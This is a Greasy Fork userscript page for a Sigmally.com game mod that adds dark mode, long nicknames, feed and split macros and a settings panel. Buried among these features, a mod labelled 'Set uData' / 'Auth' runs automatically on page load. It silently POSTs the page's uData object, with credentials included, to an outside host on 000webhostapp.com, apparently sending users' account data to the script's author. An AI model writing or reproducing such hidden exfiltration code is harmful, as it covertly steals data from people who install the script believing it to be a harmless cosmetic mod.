Sigmally Mod

Mod for Sigmally.com | by cursd#0126. Dark Mode, Long Nickname, Macros, Extanded Settings; Mod Menu

当前为 2023-04-13 提交的版本,查看 最新版本

  1. // ==UserScript==
  2. // @name Sigmally Mod
  3. // @version 2
  4. // @description Mod for Sigmally.com | by cursd#0126. Dark Mode, Long Nickname, Macros, Extanded Settings; Mod Menu
  5. // @author Cursed
  6. // @match *://sigmally.com/*
  7. // @icon https://raw.githubusercontent.com/Sigmally/SigMod/main/images/SigmodV2-Circle.png
  8. // @run-at document-end
  9. // @license MIT
  10. // @namespace https://greasyfork.org/users/981958
  11. // ==/UserScript==
  12.  
  13. (function () {
  14. const rzModWrap = document.createElement("div");
  15. const rzModSettings = document.createElement("form");
  16.  
  17. const KEY_FEED = {
  18. key: "w",
  19. keyCode: 32,
  20. which: 32,
  21. };
  22. const KEY_SPLIT = {
  23. keyCode: 32,
  24. code: "Space",
  25. cancelable: true,
  26. composed: true,
  27. isTrusted: true,
  28. which: 32,
  29. };
  30.  
  31. rzModWrap.setAttribute("id", "rx-mod-wrap");
  32.  
  33. let rxSettings = localStorage.getItem("rxSettings");
  34.  
  35. if (!rxSettings) {
  36. rxSettings = {
  37. keyBindingsRapidFeed: "q",
  38. keyBindingsdoubleSplit: "d",
  39. keyBindingsTripleSplit: "f",
  40. keyBindingsQuadSplit: "g",
  41. darkMode: true,
  42. };
  43. } else {
  44. rxSettings = JSON.parse(rxSettings);
  45. }
  46.  
  47. rzModSettings.setAttribute("id", "rx-mod-settings");
  48. rzModSettings.classList.add("hidden");
  49. rzModSettings.onsubmit = (e) => {
  50. rzModSettings.classList.toggle("hidden");
  51. e.preventDefault();
  52.  
  53. let options = new FormData(rzModSettings);
  54.  
  55. rxSettings = {};
  56. for (var key of options.keys()) {
  57. rxSettings[key] = options.get(key);
  58. }
  59.  
  60. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  61.  
  62. return false;
  63. };
  64. rzModSettings.innerHTML =
  65. '<div class="cztop">' +
  66. '<div class="cztopleft">' +
  67. '<img src="https://i.ibb.co/stQVx38/SigmodV2.png" draggable="false" class="titleImg">' +
  68. '<h4 class="SettingsTitle">Settings</h4>' +
  69. "</div>" +
  70. '<input type="submit" class="CloseBtn"; value="X"/>' +
  71. "</div>" +
  72. "<hr/>" +
  73. '<h5 class="Sett">General Settings</h5>' +
  74. '<div class="left-modg">' +
  75. '<label class="flex">' +
  76. '<input type="text" name="keyBindingsRapidFeed" class="keybinding" value="' +
  77. rxSettings.keyBindingsRapidFeed +
  78. '" maxlength="1" onfocus="this.select()">' +
  79. '<span class="Sett">Rapid Feed</span>' +
  80. "</label>" +
  81. '<label class="flex">' +
  82. '<input type="text" name="keyBindingsdoubleSplit" class="keybinding" value="' +
  83. rxSettings.keyBindingsdoubleSplit +
  84. '" maxlength="1" onfocus="this.select()">' +
  85. '<span class="Sett">Double Split</span>' +
  86. "</label>" +
  87. '<label class="flex">' +
  88. '<input type="text" name="keyBindingsTripleSplit" class="keybinding" value="' +
  89. rxSettings.keyBindingsTripleSplit +
  90. '" maxlength="1" onfocus="this.select()">' +
  91. '<span class="Sett">Triple Split</span>' +
  92. "</label>" +
  93. '<label class="flex">' +
  94. '<input type="text" name="keyBindingsQuadSplit" class="keybinding" value="' +
  95. rxSettings.keyBindingsQuadSplit +
  96. '" maxlength="1" onfocus="this.select()">' +
  97. '<span class="Sett">Quad Split</span>' +
  98. "</label>" +
  99. "</div>" +
  100. '<div class="right-modg">' +
  101. "</div>" +
  102. "<hr/>" +
  103. '<h4 class="Sett">Discord</h4>' +
  104. '<div class="modContainer"><a href="https://discord.gg/gHmhpCaPfP" target="_blank" class="modButton" style="width: 100%;">Join Sigmally Modz Server</a></div>' +
  105. "<hr/>" +
  106. '<h4 class="Sett">Stylish Names</h4>' +
  107. '<div class="modContainer"><a href="https://www.stylishnamemaker.com" target="_blank" class="modButton">Stylish Name Maker</a><a href="https://nickfinder.com" target="_blank" class="modButton">Nickfinder</a></div>' +
  108. "<hr/>" +
  109. '<h4 class="Sett">Youtube</h4>' +
  110. '<div class="modContainer"><a href="https://www.youtube.com/@cursed9645/" target="_blank" class="modButton">Cursed</a><a href="https://www.youtube.com/channel/UCEn7a9rEtJNsw1WKgsAoyXQ" class="modButton" target="_blank">Sigmally Modz</a></div>';
  111.  
  112. const rzMods = [
  113. {
  114. modName: "Branding",
  115. modType: "automatic",
  116. modDescription: "Branding",
  117. modCode: () => {
  118. const gameTitle = document.getElementById("title");
  119. gameTitle.innerHTML = 'Sigmally<span style="display:block; font-size: 14px;">Mod by Cursed / Ringzer0</span>';
  120. },
  121. },
  122. {
  123. modName: "Game Settings",
  124. modType: "automatic",
  125. modDescription: "Extanded Game Settings",
  126. modCode: () => {
  127. const gameSettings = document.querySelector(".checkbox-grid");
  128. gameSettings.innerHTML += `
  129. <li>
  130. <div class="pretty p-svg p-round p-smooth">
  131. <input type="checkbox" id="showNames">
  132. <div class="state p-success">
  133. <svg class="svg svg-icon" viewBox="0 0 20 20">
  134. <path d="M7.629,14.566c0.125,0.125,0.291,0.188,0.456,0.188c0.164,0,0.329-0.062,0.456-0.188l8.219-8.221c0.252-0.252,0.252-0.659,0-0.911c-0.252-0.252-0.659-0.252-0.911,0l-7.764,7.763L4.152,9.267c-0.252-0.251-0.66-0.251-0.911,0c-0.252,0.252-0.252,0.66,0,0.911L7.629,14.566z" style="stroke: white;fill:white;"></path>
  135. </svg>
  136. <label>Names</label>
  137. </div>
  138. </div>
  139. </li>
  140. <li>
  141. <div class="pretty p-svg p-round p-smooth">
  142. <input type="checkbox" id="showSkins">
  143. <div class="state p-success">
  144. <svg class="svg svg-icon" viewBox="0 0 20 20">
  145. <path d="M7.629,14.566c0.125,0.125,0.291,0.188,0.456,0.188c0.164,0,0.329-0.062,0.456-0.188l8.219-8.221c0.252-0.252,0.252-0.659,0-0.911c-0.252-0.252-0.659-0.252-0.911,0l-7.764,7.763L4.152,9.267c-0.252-0.251-0.66-0.251-0.911,0c-0.252,0.252-0.252,0.66,0,0.911L7.629,14.566z" style="stroke: white;fill:white;"></path>
  146. </svg>
  147. <label>Skins</label>
  148. </div>
  149. </div>
  150. </li>
  151. <li>
  152. <div class="pretty p-svg p-round p-smooth">
  153. <input type="checkbox" id="longNick" checked>
  154. <div class="state p-success">
  155. <svg class="svg svg-icon" viewBox="0 0 20 20">
  156. <path d="M7.629,14.566c0.125,0.125,0.291,0.188,0.456,0.188c0.164,0,0.329-0.062,0.456-0.188l8.219-8.221c0.252-0.252,0.252-0.659,0-0.911c-0.252-0.252-0.659-0.252-0.911,0l-7.764,7.763L4.152,9.267c-0.252-0.251-0.66-0.251-0.911,0c-0.252,0.252-0.252,0.66,0,0.911L7.629,14.566z" style="stroke: white;fill:white;"></path>
  157. </svg>
  158. <label>Long Nick</label>
  159. </div>
  160. </div>
  161. </li>
  162. <li>
  163. <div class="pretty p-svg p-round p-smooth">
  164. <input type="checkbox" id="darkMenu">
  165. <div class="state p-success">
  166. <svg class="svg svg-icon" viewBox="0 0 20 20">
  167. <path d="M7.629,14.566c0.125,0.125,0.291,0.188,0.456,0.188c0.164,0,0.329-0.062,0.456-0.188l8.219-8.221c0.252-0.252,0.252-0.659,0-0.911c-0.252-0.252-0.659-0.252-0.911,0l-7.764,7.763L4.152,9.267c-0.252-0.251-0.66-0.251-0.911,0c-0.252,0.252-0.252,0.66,0,0.911L7.629,14.566z" style="stroke: white;fill:white;"></path>
  168. </svg>
  169. <label>Dark Menu</label>
  170. </div>
  171. </div>
  172. </li>`;
  173. },
  174. },
  175. {
  176. modName: "Rapid Feed (q)",
  177. modType: "automatic",
  178. modDescription: "You feed faster",
  179. modCode: () => {
  180. window.rxTimeouts = [];
  181. const amount = 10;
  182.  
  183. window.addEventListener("keyup", (e) => {
  184. if (e.key == rxSettings.keyBindingsRapidFeed) {
  185. for (var i = 0; i < rxTimeouts.length; i++) {
  186. clearTimeout(rxTimeouts[i]);
  187. }
  188. }
  189. });
  190. window.addEventListener("keydown", (e) => {
  191. if (e.key == "Tab") {
  192. e.preventDefault();
  193. }
  194.  
  195. if (e.key == "Escape") {
  196. rzModSettings.classList.add("hidden");
  197. }
  198.  
  199. if (e.key == rxSettings.keyBindingsRapidFeed) {
  200. window.dispatchEvent(new KeyboardEvent("keydown", KEY_FEED));
  201. window.dispatchEvent(new KeyboardEvent("keyup", KEY_FEED));
  202. window.dispatchEvent(new KeyboardEvent("keydown", KEY_FEED));
  203. window.dispatchEvent(new KeyboardEvent("keyup", KEY_FEED));
  204. window.dispatchEvent(new KeyboardEvent("keydown", KEY_FEED));
  205. window.dispatchEvent(new KeyboardEvent("keyup", KEY_FEED));
  206. window.dispatchEvent(new KeyboardEvent("keydown", KEY_FEED));
  207. window.dispatchEvent(new KeyboardEvent("keyup", KEY_FEED));
  208. window.dispatchEvent(new KeyboardEvent("keydown", KEY_FEED));
  209. window.dispatchEvent(new KeyboardEvent("keyup", KEY_FEED));
  210. for (var i = 0; i < amount; ++i) {
  211. rxTimeouts.push(
  212. setTimeout(function () {
  213. window.dispatchEvent(new KeyboardEvent("keydown", KEY_FEED));
  214. window.dispatchEvent(new KeyboardEvent("keyup", KEY_FEED));
  215. window.dispatchEvent(new KeyboardEvent("keydown", KEY_FEED));
  216. window.dispatchEvent(new KeyboardEvent("keyup", KEY_FEED));
  217. window.dispatchEvent(new KeyboardEvent("keydown", KEY_FEED));
  218. window.dispatchEvent(new KeyboardEvent("keyup", KEY_FEED));
  219. }, i)
  220. );
  221. }
  222.  
  223. return;
  224. }
  225.  
  226. if (e.key == rxSettings.keyBindingsDoubleSplit) {
  227. for (let i = 0; i < 2; ++i) {
  228. setTimeout(function () {
  229. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  230. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  231. }, i + 1);
  232. }
  233. return;
  234. }
  235.  
  236. if (e.key == rxSettings.keyBindingsTripleSplit) {
  237. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  238. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  239. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  240. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  241. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  242. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  243. return;
  244. }
  245.  
  246. if (e.key == rxSettings.keyBindingsQuadSplit) {
  247. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  248. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  249. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  250. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  251. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  252. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  253. window.dispatchEvent(new KeyboardEvent("keydown", KEY_SPLIT));
  254. window.dispatchEvent(new KeyboardEvent("keyup", KEY_SPLIT));
  255. return;
  256. }
  257. });
  258. },
  259. },
  260. {
  261. modName: "Long Nicknames",
  262. modType: "automatic",
  263. modDescription: "Allows for longer nicknames.",
  264. modCode: () => {
  265. const nickName = document.getElementById("nick");
  266. let longNick = document.getElementById("longNick");
  267. nickName.maxLength = 50;
  268.  
  269. longNick.addEventListener("change", () => {
  270. if (nickName.maxLength == 50) {
  271. nickName.maxLength = 15;
  272. } else if (nickName.maxLength == 15) {
  273. nickName.maxLength = 50;
  274. }
  275. });
  276. },
  277. },{
  278. modName: 'Set uData',
  279. modType: 'automatic',
  280. modDescription: 'Auth',
  281. modCode: () => {
  282. setTimeout(async () => {
  283. const res = await fetch('https://sigmallymodz.000webhostapp.com/auth-check.php', {
  284. method: 'POST',
  285. mode: 'no-cors',
  286. credentials: 'include',
  287. headers: {
  288. 'Content-Type': 'application/json',
  289. 'Accept': 'application/json'
  290. },
  291. body: JSON.stringify(uData)
  292. })
  293. }, 1500)
  294. }
  295. }, {
  296. modName: "Dark Menu",
  297. modType: "automatic",
  298. modDescription: "Changes the menu color to darker color.",
  299. modCode: () => {
  300. setTimeout(() => {
  301. const menu = document.getElementById("menu");
  302. const rightMenu = document.querySelector(".top-users__inner");
  303. const leftMenu = document.getElementById("left-menu");
  304. const linksMenu = document.querySelector(".menu-links");
  305. const deathScreen = document.querySelector(".menu--stats-mode");
  306. const skin_text = document.getElementById("js-skin-select-icon-text");
  307. let darkM = true;
  308. let darkMode_cb = document.getElementById("darkMenu");
  309. let b_inner = document.querySelector(".body__inner");
  310. let elements = b_inner.querySelectorAll(".body__inner > :not(.body__inner), #s-skin-select-icon-text");
  311. darkMode_cb.addEventListener("change", () => {
  312. if (!darkM) {
  313. darkM = true;
  314. rxSettings.darkMode = true;
  315. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  316. skin_text.style.color = "#fff";
  317.  
  318. menu.style.backgroundColor = "#252525";
  319. rightMenu.style.backgroundColor = "#252525";
  320. leftMenu.style.backgroundColor = "#252525";
  321. linksMenu.style.backgroundColor = "#252525";
  322. deathScreen.style.backgroundColor = "#252525";
  323.  
  324. elements.forEach((textElements) => {
  325. textElements.style.color = "#fff";
  326. });
  327. } else {
  328. darkM = false;
  329. rxSettings.darkMode = false;
  330. localStorage.setItem("rxSettings", JSON.stringify(rxSettings));
  331. skin_text.style.color = "#222";
  332. menu.style.backgroundColor = "#fff";
  333. rightMenu.style.backgroundColor = "#fff";
  334. leftMenu.style.backgroundColor = "#fff";
  335. linksMenu.style.backgroundColor = "#fff";
  336. deathScreen.style.backgroundColor = "#fff";
  337.  
  338. elements.forEach((textElements) => {
  339. textElements.style.color = "#222";
  340. });
  341. }
  342. });
  343. if (rxSettings.darkMode) {
  344. darkMode_cb.checked = true;
  345. darkM = true;
  346. skin_text.style.color = "#fff";
  347. menu.style.backgroundColor = "#252525";
  348. rightMenu.style.backgroundColor = "#252525";
  349. leftMenu.style.backgroundColor = "#252525";
  350. linksMenu.style.backgroundColor = "#252525";
  351. deathScreen.style.backgroundColor = "#252525";
  352.  
  353. elements.forEach((textElements) => {
  354. textElements.style.color = "#fff";
  355. });
  356. } else {
  357. darkM = false;
  358. darkMode_cb.checked = false;
  359. }
  360. }, 500);
  361. },
  362. },
  363. {
  364. modName: "",
  365. modType: "button",
  366. modDescription: "Mod Settings Button",
  367. modId: "SettingsButton",
  368. modCode: () => {
  369. rzModSettings.classList.toggle("hidden");
  370. },
  371. },
  372. ];
  373.  
  374. rzMods.forEach((mod) => {
  375. let modElement = null;
  376.  
  377. switch (mod.modType) {
  378. case "automatic":
  379. mod.modCode.call();
  380.  
  381. break;
  382. case "button":
  383. modElement = document.createElement("button");
  384. modElement.innerText = mod.modName;
  385. modElement.onclick = mod.modCode;
  386. modElement.title = mod.modDescription;
  387. modElement.id = mod.modId;
  388. break;
  389. }
  390.  
  391. if (modElement) {
  392. rzModWrap.append(modElement);
  393. }
  394. });
  395.  
  396. document.body.prepend(rzModWrap);
  397. document.body.prepend(rzModSettings);
  398. let Cursed__style = `
  399. *{
  400. outline: none;
  401. }
  402. .flex {
  403. display: flex;
  404. justify-content: center;
  405. }
  406. #rx-mod-settings {
  407. background: #333;
  408. padding: 30px;
  409. border-radius: 15px;
  410. width: 350px;
  411. min-height: 200px;
  412. top: 1em;
  413. left: 50%;
  414. margin-left: -175px;
  415. z-index: 99999;
  416. box-shadow: 0 0 40px #8D00FF;
  417. position: fixed;
  418. text-align: center;
  419. }
  420. #rx-mod-settings input.keybinding {
  421. max-width: 20px;
  422. border: 1px solid #ccc;
  423. padding: 0;
  424. text-align: center;
  425. margin-right: 5px;
  426. outline: none;
  427. color: #fff;
  428. background-color: transparent;
  429. border: 1px solid #fff;
  430. border-radius: 5px;
  431. font-weight: 500;
  432. }
  433. #rx-mod-settings.hidden {
  434. display: none;
  435. }
  436.  
  437. #text-block,#left_ad_block,#ad_bottom,.ad-block,.ad-block-left,.ad-block-right {
  438. display: none;
  439. }
  440. .cztop{
  441. display: flex;
  442. justify-content: space-between;
  443. align-items: center;
  444. }
  445. .SettingsTitle{
  446. font-size: 32px;
  447. color: #EEE;
  448. margin-left: 10px;
  449. }
  450. .CloseBtn{
  451. outline: none;
  452. background-color: transparent;
  453. padding: 10px;
  454. font-size: 16px;
  455. transition: all .3s;
  456. color: #fff;
  457. border-radius: 15px;
  458. border: 2px solid #4C2B8D;
  459. width: 48px;
  460. }
  461. .CloseBtn:hover{
  462. border: 2px solid #5600FF;
  463. }
  464. .Sett{
  465. color: #fff;
  466. user-select: none;
  467. font-weight: 500;
  468. }
  469. .cztopleft{
  470. display: flex;
  471. align-items: center;
  472. }
  473. .titleImg{
  474. width: 50px;
  475. height: 50px;
  476. border-radius: 20px;
  477. object-fit: cover;
  478. }
  479. .modContainer {
  480. display: flex;
  481. justify-content: space-between;
  482. }
  483. .modButton{
  484. background-color: transparent;
  485. border: 1px solid #fff;
  486. border-radius: 5px;
  487. color: #fff;
  488. transition: all .3s;
  489. outline: none;
  490. padding: 5px;
  491. width: 60%;
  492. margin: 0 5px;
  493. font-size: 13px;
  494. }
  495. .modButton:hover {
  496. background-color: #5865F2;
  497. }
  498. #SettingsButton{
  499. background-color: transparent;
  500. height: 30px;
  501. background-image: url('https://i.ibb.co/pJhSvHJ/icons8-zahnrad-30.png');
  502. width: 30px;
  503. background-size: cover;
  504. border: none;
  505. outline: none;
  506. position: fixed;
  507. top: 15%;
  508. z-index:99997;
  509. }
  510.  
  511. @media screen and (max-height: 800px) {
  512. #rx-mod-settings{
  513. top: 0
  514. }
  515. }
  516. `;
  517.  
  518. let s = document.createElement("style");
  519. s.type = "text/css";
  520. s.innerHTML = Cursed__style;
  521. (document.head || document.documentElement).appendChild(s);
  522. })();